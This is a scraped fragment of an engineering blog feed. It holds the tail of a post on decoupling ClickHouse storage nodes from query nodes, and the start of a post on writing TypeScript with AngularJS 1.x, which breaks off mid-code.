9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Old Architecture: Unified Nodes for Storage and Queries</h2> Previously, our ClickHouse cluster consisted of nodes that served dual purposes: storage and query computation. The ReplicatedMergeTree engine managed circular data replication and data sharding, while the Distributed engine executed queries by routing them across the cluster. <h2 id="challenges" style="position:relative;"><a href="#challenges" aria-label="challenges permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Challenges:</h2> <ol> <li>High Computational Overhead on Write Nodes: Write-heavy operations demanded significant computational resources, often resulting in hardware upgrades to sustain performance.</li> <li>Vertical Scalability Limitation: Scaling involved increasing node capacities—an expensive and rigid approach.</li> <li>Underutilized Resources: During low read-intensive workloads, computation resources on some nodes remained idle, leading to inefficient hardware utilization.</li> </ol> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/beb295729324aa77ecdfff9b7b435897/5e93d/clickhouse-query-engine-old-arch.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 34.68208092485549%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsSAAALEgHS3X78AAAAuklEQVQoz3WR2wqAIAyGff9XVcisNA+1+AYLL2ogzu0/rOXu+5avQ/TepbUmIQRZlkXGGHqIP46TnwCA2HmeEmOUbdv0bYJfeI6z5LqudyJESil6cs5ap2/1WqvWEJ+n0wlp4g6YfF1XJUHgPo5DxYyIYUpJjeiTw+ONjgO877sSCYoACeoYzIEgK7DpyM2UIXSHOOBEkSai5JD5GRjY/iBhYmugB/79ZFxsHzPJclbhvVcjw1h/zrmJB/ktJcr0vIyxAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="clickhouse query engine old arch" title="clickhouse query engine old arch" src="/static/beb295729324aa77ecdfff9b7b435897/1e043/clickhouse-query-engine-old-arch.png" srcset="/static/beb295729324aa77ecdfff9b7b435897/991de/clickhouse-query-engine-old-arch.png 173w, /static/beb295729324aa77ecdfff9b7b435897/e4d6b/clickhouse-query-engine-old-arch.png 345w, /static/beb295729324aa77ecdfff9b7b435897/1e043/clickhouse-query-engine-old-arch.png 690w, /static/beb295729324aa77ecdfff9b7b435897/e3189/clickhouse-query-engine-old-arch.png 1035w, /static/beb295729324aa77ecdfff9b7b435897/b1001/clickhouse-query-engine-old-arch.png 1380w, /static/beb295729324aa77ecdfff9b7b435897/5e93d/clickhouse-query-engine-old-arch.png 4611w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h2 id="new-architecture-decoupling-storage-and-queries" style="position:relative;"><a href="#new-architecture-decoupling-storage-and-queries" aria-label="new architecture decoupling storage and queries permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>New Architecture: Decoupling Storage and Queries</h2> The new architecture separates storage nodes from query computation nodes. Storage nodes retain the ReplicatedMergeTree engine, focusing solely on data ingestion and replication. Dedicated query nodes equipped with a horizontally scalable distributed query engine handle query execution and computation. <h2 id="key-components" style="position:relative;"><a href="#key-components" aria-label="key components permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Key Components:</h2> <ol> <li> Storage Nodes: <ul> <li>Run ReplicatedMergeTree for high-performance data storage and replication.</li> <li>Handle raw data writes and ensure data durability.</li> </ul> </li> <li> Query Nodes: <ul> <li>Brings the raw data from all Clickhouse Storage Nodes according to filter applied and then perform final computations on that data on query nodes.</li> <li>Perform computationally intensive operations such as aggregations, filtering, and joins.</li> </ul> </li> <li> Load Balancing: <ul> <li>A Google Load Balancer (GLB) directs read requests to query nodes according to CPU and memory usage of those nodes.</li> </ul> </li> </ol> <div style="text-align:center; margin: 10px;"> <a class="gatsby-resp-image-link" href="/static/5e8cfa354ca7672b1116223b31795262/5e93d/clickhouse-query-engine-new-arch.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 61.27167630057804%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsSAAALEgHS3X78AAABC0lEQVQoz3WTCQrFMAhEvf9Vu+97/TxhSshvBWlixslErd337bljfM/z9G3bvCxL7/s+9rjO3/LMPwzAcRw+z7PXde3jOPq+735d1yceNy0ASgGJKFvXNQghJs4eZ6+YyGQGoGkaX5YlwKgRyTAMoYzLdLHwYHDlTtMUWAPMhhqpXnxJBkgCGDmquJQz9pyDZ40IyxvQtm1cwLOlgDhgYhChpOu6pyycPU1JuwoRBCKEnEQloIIyVFUVl0EGOWvV09IOYdwKCaYn5d0kJoL8zPLZ09P4Qgh5URShivpKjUbobw5zwrT4GhWaoJGBiLjI/sYmlftmJKsEXwOdmqXBXD5kNAiF6V/y9pvKfqrVr71pCBeEAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="clickhouse query engine new arch" title="clickhouse query engine new arch" src="/static/5e8cfa354ca7672b1116223b31795262/1e043/clickhouse-query-engine-new-arch.png" srcset="/static/5e8cfa354ca7672b1116223b31795262/991de/clickhouse-query-engine-new-arch.png 173w, /static/5e8cfa354ca7672b1116223b31795262/e4d6b/clickhouse-query-engine-new-arch.png 345w, /static/5e8cfa354ca7672b1116223b31795262/1e043/clickhouse-query-engine-new-arch.png 690w, /static/5e8cfa354ca7672b1116223b31795262/e3189/clickhouse-query-engine-new-arch.png 1035w, /static/5e8cfa354ca7672b1116223b31795262/b1001/clickhouse-query-engine-new-arch.png 1380w, /static/5e8cfa354ca7672b1116223b31795262/5e93d/clickhouse-query-engine-new-arch.png 4611w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> <h2 id="benefits" style="position:relative;"><a href="#benefits" aria-label="benefits permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Benefits:</h2> <ol> <li> Optimized Resource Utilization: <ul> <li>By separating storage and query responsibilities, each layer can be optimized independently. Storage nodes are dedicated to handling data persistence, while query/computation nodes focus on processing queries, reducing resource contention.</li> <li>Since query nodes are automatically horizontally scalable, only the required number of query nodes are running at the moment as per the current production load. As the load increases, the number of nodes also temporarily increases to not let the customer experience degrade. </li> </ul> </li> <li> Improved Scalability: <ul> <li>The CH Storage Nodes layer is designed to scale vertically, which is beneficial for heavy storage demands. The CH Query/Computation Nodes layer, on the other hand, supports both horizontal and vertical scaling, allowing the system to handle more queries and distribute the computation load efficiently.</li> <li>This architecture can scale by adding more computation nodes without increasing the resources on the storage layer.</li> </ul> </li> <li> Enhanced Fault Tolerance: <ul> <li>Using the Replicated Merge Tree for circular replication within the storage nodes ensures data redundancy and availability. In case of a node failure, other nodes in the replication circle can serve the data, enhancing resilience.</li> <li>Our computation nodes are designed for high availability, ensuring uninterrupted service. If one node goes down, other nodes seamlessly take over query processing, maintaining reliability and minimizing downtime.</li> </ul> </li> <li> Efficient Query Performance: <ul> <li>The Distributed Engine in the computation nodes enables parallel query execution across multiple storage nodes, improving performance. Query nodes aggregate data before sending the results back, reducing the amount of data transferred to Read Layer and speeding up query response times.</li> </ul> </li> </ol> <h2 id="results" style="position:relative;"><a href="#results" aria-label="results permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Results</h2> <ol> <li> Performance: <ul> <li>No observable impact on simple aggregate query response times.</li> <li>Complex queries executed 10-15% faster, thanks to the dedicated computational capacity of the query nodes.</li> </ul> </li> <li> Cost Savings: <ul> <li>Write nodes now utilize lower-specification hardware, reducing operational expenses by 50%.</li> <li>Horizontal scalability of query nodes allowed incremental scaling, avoiding large upfront investments.</li> </ul> </li> <li> Operational Improvements: <ul> <li>Simplified node management with distinct roles for storage and computation.</li> <li>Enhanced fault tolerance as data intensive query failures no longer affect write operations directly.</li> </ul> </li> <li> CPU Usages: <ol> <li> Clickhouse Storage Nodes of old architecture: <div style="text-align:center; margin: 20px;"> <a class="gatsby-resp-image-link" href="/static/5abafed3c800df5753e2e7911a4cf4cf/b7a14/clickhouse-query-engine-figure3.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 52.02312138728323%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABRUlEQVQoz4VSW26EMAzM/U/WC/Szn9WCtMtCyDsOU9sQ6FZVizSKH+OJcWyGccQaCU9P8KmhbRu2f1BqQyo7QiL2K94/C94+EkyMETE3OBartKE1BhdIodqtvcROcGyjBmD35RQY6LedCSmusR52A4kgi1XuZMMuJH9B5UeMIVyzi12ymsh0+GxLN3TFOo/4klbaFTsaMMlnxDVBT5exPgP8HF5iavPpbYRfEjz7fo5wzF0n5tukdbUQzDwvEFi7IgYujCwQE0LgAhfwuE8YbiPsYjWv4HxK+eTK6X1AzhnGOYfFWpRSQET8MKQzWjl+GwbNhRBYIGlO5iS87xC+815rTOBXFrE+h/3FoALT9OSC1zn9hs6PDLPfns9kOwiyTvfHQzvo8b8EhS9j0j2Uf++vJBBbbpzn+RLs+9h3s6/VkRe+4AvM5xF0wKrPbwAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="clickhouse query engine figure3" title="clickhouse query engine figure3" src="/static/5abafed3c800df5753e2e7911a4cf4cf/1e043/clickhouse-query-engine-figure3.png" srcset="/static/5abafed3c800df5753e2e7911a4cf4cf/991de/clickhouse-query-engine-figure3.png 173w, /static/5abafed3c800df5753e2e7911a4cf4cf/e4d6b/clickhouse-query-engine-figure3.png 345w, /static/5abafed3c800df5753e2e7911a4cf4cf/1e043/clickhouse-query-engine-figure3.png 690w, /static/5abafed3c800df5753e2e7911a4cf4cf/e3189/clickhouse-query-engine-figure3.png 1035w, /static/5abafed3c800df5753e2e7911a4cf4cf/b1001/clickhouse-query-engine-figure3.png 1380w, /static/5abafed3c800df5753e2e7911a4cf4cf/b7a14/clickhouse-query-engine-figure3.png 2864w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> <li> Clickhouse Storage Nodes of New Architecture: <div style="text-align:center; margin: 20px;"> <a class="gatsby-resp-image-link" href="/static/e940454244b0dba4c653c2c461c3ff90/f3a19/clickhouse-query-engine-figure4.png" style="display: block" target="_blank" rel="noopener"> <span class="gatsby-resp-image-background-image" style="padding-bottom: 125.4335260115607%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAYAAAAxFw7TAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB8klEQVQ4y61Ui3LbIBD0/39iOp4mqVtbkvUCAUKAtnenQtzWk0nkMLMjxGO521s4pJSwC+ta+iv1Y0xwPuGwj5AJ4g1ZRAj0vwIHHtgDvyyFMIQg4LabcLkhlAgJuwm5ZUJu/I17CdOdlJmsEMYYsP6Z+JyG/r+iCGE/dkhhm0jvEqP0AwVhpmlbTyR/EXZ9h+BT0SZvZmuwTt5vmOeZvl7mOLr6WmEJC62ZkciDpSiDHjHxaTToZydflsE6h7bt0HUdrLXQWsPRWEpRDlNaoWkrtEMHY00p0CHEBdoo9GOPQQ0bqG9o87m54nI+4xfhdDoJKR/e9wMsHa7MIBGbeXrzoTieojLGiA6cZlgiPKXz8vMZP15POB6PeHr6hrppMI4j6romCTwcybBV+E37Yhs+QcJmKQkivDMkg5dUOW3xG61jLbP3OAAGr5EIjXVgWDdLmvmf4YjMUhROovGyJkP20Fw/jPj+/IKqbjZCNui78Df4Z26haEelSOMLNGkrhNjZss20nsgJvaT90OOQbaKURkNuYF2FkD21Dxshu+N6baXqD0WYU54mIxeANf4aQoqQje6/SkNOmYvycMqZkFOuyYOlKB/dfO9p42bJ4Bzhhwnv+W87ZJtzdGs+VRQWnB+FS1WV10buLl87msvvZI7wN3YdsMlJ5ASTAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;"> <img class="gatsby-resp-image-image" alt="clickhouse query engine figure4" title="clickhouse query engine figure4" src="/static/e940454244b0dba4c653c2c461c3ff90/1e043/clickhouse-query-engine-figure4.png" srcset="/static/e940454244b0dba4c653c2c461c3ff90/991de/clickhouse-query-engine-figure4.png 173w, /static/e940454244b0dba4c653c2c461c3ff90/e4d6b/clickhouse-query-engine-figure4.png 345w, /static/e940454244b0dba4c653c2c461c3ff90/1e043/clickhouse-query-engine-figure4.png 690w, /static/e940454244b0dba4c653c2c461c3ff90/e3189/clickhouse-query-engine-figure4.png 1035w, /static/e940454244b0dba4c653c2c461c3ff90/f3a19/clickhouse-query-engine-figure4.png 1086w" sizes="(max-width: 690px) 100vw, 690px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy"> </a> </div> </li> </ol> </li> </ol> <h2 id="conclusion" style="position:relative;"><a href="#conclusion" aria-label="conclusion permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Conclusion</h2> <ul> <li>Separating storage and computation in our ClickHouse cluster has revolutionized our infrastructure. By leveraging distributed query engines, we achieved both cost reduction and improved scalability without compromising performance. This architecture not only meets current demands but also provides a solid foundation for future growth.</li> <li>This transition underscores the value of re-evaluating and optimizing architectural designs. For organizations relying on ClickHouse or similar systems, decoupling storage and computation offers a compelling path toward operational efficiency.</li> </ul></content:encoded><author>Vasu Gupta</author></item><item><title><![CDATA[How we are writing modern Javascript with AngularJs]]></title><description><![CDATA[Preface Writing slick user interfaces has never been so delightful as it is now. You’ve got amazing frameworks, state management patterns…]]></description><link>https://engineering.wingify.com//posts/how-we-writing-modern-javascript-with-angularjs-1-x/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/how-we-writing-modern-javascript-with-angularjs-1-x/</guid><pubDate>Wed, 22 Mar 2023 00:00:00 GMT</pubDate><content:encoded><div class="img-wrapper" style="text-align: center;"> <img width="40%" src="/images/2023/01/angular-sword.jpeg" alt="Angular sword meme"> </div> <h2 id="preface" style="position:relative;"><a href="#preface" aria-label="preface permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preface</h2> Writing slick user interfaces has never been so delightful as it is now. You’ve got amazing frameworks, state management patterns that are easy to reason about, development tools, awesome community support, and all the tools around the whole Javascript world. The Developer Experience (DX) you get today, no matter what modern stack you choose, is simply great. Features like compile-time error detection, pre-processors, and hot-reload are just taken for granted and undoubtedly cut development time by a large margin. Unfortunately, not every software product has the advantage of being developed in such an ideal setting. This shiny JS world was just lit by a few stars like AngularJS when we started writing the new user interface for VWO which now has evolved into a very large codebase with uncountable features and has been consistently updated and maintained over the years. With AngularJS 1.x, we were required to develop our own build system and use custom pre-processors and transpilers to achieve the same capabilities that modern frameworks provide natively. In short, we had to handle the developer experience aspect internally, and we have managed to do so quite effectively. Although AngularJs is too old to be used for any web application today, over time we have learned how to use it in a modern way. In this blog post, we will discuss how we write modern Javascript along with AngularJS 1.x and discuss some of the key features and tools that we leverage to make development more efficient and maintainable. <h2 id="typescript" style="position:relative;"><a href="#typescript" aria-label="typescript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Typescript</h2> Using JavaScript for web-dev is like playing on hardcore-mode. You've allowed friendly-fire. If you want to shoot yourself in the foot, you can shoot yourself in the foot. We're not up for that. We love our foot and also want to keep VWO running bug-free and that is why we use Typescript. Typescript needs no introduction and we started the process of migrating our app codebase to TS around 3 years back, although it wasn’t straightforward as we had been using a lot of legacy patterns like AMD (asynchronous module definition) with requireJS and a very custom build process that involved Grunt and older version of NodeJs to build it. We wanted to use ES import syntax with strong types but all we saw was: <div class="img-wrapper" style="text-align: center;"> <img width="40%" src="/images/2023/01/define-define.jpg" alt="DEFINE DEFINE EVERYWHERE"> </div> We analyzed the <a href="https://www.typescriptlang.org/docs/handbook/compiler-options.html" target="_blank">tscompiler options</a> and set the <a target="_blank" href="https://www.typescriptlang.org/tsconfig/#target">target</a> to AMD and wrote a custom process to rename all JS files to TS and applied <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#-ts-nocheck-in-typescript-files"><code class="language-text">// @ts-nocheck</code> directive</a> on the top without touching the source code at all. This way the whole team could write TS for new files and writing TS was opt-in for older files. Although, we had to keep <code class="language-text">tsconfig.json</code> very lenient at the start with compiler options that enforced strict code had to be turned off. New files could be written with the modern ES import syntax and older files could be manually translated. After some time, we realized that manual translation from AMD to ES would take an eternity to complete, we looked for solutions and luckily found a <a target="_blank" href="https://github.com/facebook/jscodeshift">JScodeshift</a> that could <a target="_blank" href="https://github.com/5to6/5to6-codemod">transform AMD to ES</a> As time passed by, our team gradually adopted Typescript and leveraged its countless features, resulting in a codebase that is exceptionally type-safe. For example, the <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#optional-chaining">optional chaining operator</a> allows us to access the properties of an object without worrying about whether the object is null or undefined. This can save a lot of time and effort when working with complex objects, as it eliminates the need to check for null or undefined values at every level. We also wrote TS decorators for class methods and they just work wonders for us. <div class="gatsby-highlight" data-language="ts"><pre class="language-ts"><code class="language-ts">@memoize({ cacheKeyResolver: JSON.stringify }) @batchify({ batchKey: 'ids', maxBatchCapacity: 10, maxWait: 1000 }) @asyncThrottle({ MaxRequestCount: 12, isLIFO: true }) getCampaignsDetails(params: QueryForListParams) { return this.CampaignResource.queryForCampaignsList(null, params); }</code></pre></div> We use multiple decorators as shown above which help us separate out the business logics and performance improvements. Not only this helps us maintain the code, but also makes the code easy to follow and self-documenting. <blockquote> Code is like humor. When you have to explain it, it's bad! </blockquote> Apart from this, we utilize <code class="language-text">enums</code> and the new <a target="_blank" href="https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-9.html#the-satisfies-operator"><code class="language-text">satisfies</code></a> operator to make deeply typesafe code. <div class="gatsby-highlight" data-language="ts"><pre class="language-ts"><code class="language-ts">enum SessionPlatform { MOBILE = 'mobile', TABLET = 'tablet' } const SessionPlatformDetails = { [SessionPlatform.MOBILE]: { icon: IconEnum.MOBILE_ICON, title: 'Mobile' }, [SessionPlatform.TABLET]: { icon: IconEnum.IPAD_ICON, title: 'Tablet' } } as const satisfies Record&lt;SessionPlatformSupportedEnum, { icon: IconEnum, title: string }>;</code></pre></div> <div style="text-align:center; font-size: 12px; margin-bottom: 20px;"> The code as above ensures that if a new <code class="language-text">SessionPlatform</code> is added, the developer never misses adding the details in <code class="language-text">SessionPlatformDetails</code>. </div> Recently, we also learnt about writing <a target="_blank" href="https://medium.com/technogise/type-safe-and-exhaustive-switch-statements-aka-pattern-matching-in-typescript-e3febd433a7a">exhaustive switch cases with TS</a> that basically eliminates any missed cases on compile-time itself. <h3 id="async-await-support" style="position:relative;"><a href="#async-await-support" aria-label="async await support permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Async-await support</h3> AngularJs uses it's own <code class="language-text">$q</code> service which is a first-class Promise implementation, but along with that it ensures that angular's digest cycle triggers automatically on promise status change. This works well until the developer ensures that native <code class="language-text">Promise</code> is NOT used anywhere and only <code class="language-text">$q</code> is used for any async operation, but easily falls apart if they use <code class="language-text">async-await</code> which uses native <code class="language-text">Promise</code> internally and digest cycles are missed. To mitigate this, we use <code class="language-text">target</code> for TScompiler is <code class="language-text">ES5</code> which transpiles ES5+ code down to ES5 and polyfill the new features with tslib/ts_helpers. The <code class="language-text">async-await</code> code is transpiled down to using Native Promise. Now that is a small issue as the transpiled code directly depends on global <code class="language-text">Promise</code> and we wanted the transpiled code to use <code class="language-text">$q</code>. To fix this, we did a smart hack, by ensuring the global <code class="language-text">Promise</code> always points to <code class="language-text">$q</code> in the <code class="language-text">app.run</code> block. <div class="gatsby-highlight" data-language="ts"><pre class="language-ts"><code class="language-ts">Object.defineProperty(window, 'Promise', { get() { return $q; }, set() { // ignore any other code trying to replace global Promise } });</code></pre></div> Now, we have complete clean async-await support without worrying about missing digest and no promise-hells 😉. I can keep on blabbering about how amazing typescript is (because it really is), but I'll move on. <h2 id="tuning-angularjs" style="position:relative;"><a href="#tuning-angularjs" aria-label="tuning angularjs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tuning AngularJS</h2> Everything around AngularJS is legacy now, be it available packages, community support, or answers over stackoverflow. Over the course of last few years, we upgraded the version of AngularJS in our VWO app from 1.2.x to 1.8.3 (last version of 1.x that Angular team left us with 🥲). This upgrade also was gradual and version-by-version as we had to go through the complete changelog of AngularJS. We were also at risk of depending on any deprecated undocumented APIs, hence extra care was needed. However, everything eventually worked and we were running the latest version. We also upgraded few of the other related packages and <code class="language-text">@types/angular</code> package for best typing support from TS. <h3 id="importable-angularjs-services" style="position:relative;"><a href="#importable-angularjs-services" aria-label="importable angularjs services permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Importable AngularJS services</h3> AngularJS came with it's own dependency injection system because at that time, no particular module system was there in place in browsers. Developers usually used to mess-up the global namespace for code-sharing and hence dependency injection was a welcome move by Angular. Although, the way it had to be used was cumbersome where developer had to ensure the exact name with order in <code class="language-text">$inject</code> and the order in the method being injected. We have moved on from that as we have ES module system in place (thanks to TS) and now we create and export instance of AngularJS services as soon as they get created. We've exported all the native angular services like <code class="language-text">$http</code> from a single file named <code class="language-text">ngImports</code>. This basically helps us evade the dependency injection and import services as if another ES module. Here is how it works: <div class="gatsby-highlight" data-language="ts"><pre class="language-ts"><code class="language-ts">/** ngImports.ts */ import * as ng from 'angular'; import app from 'app'; // app is our angular module's instance app.run(['$injector', ($i: ng.auto.IInjectorService) => { $http = 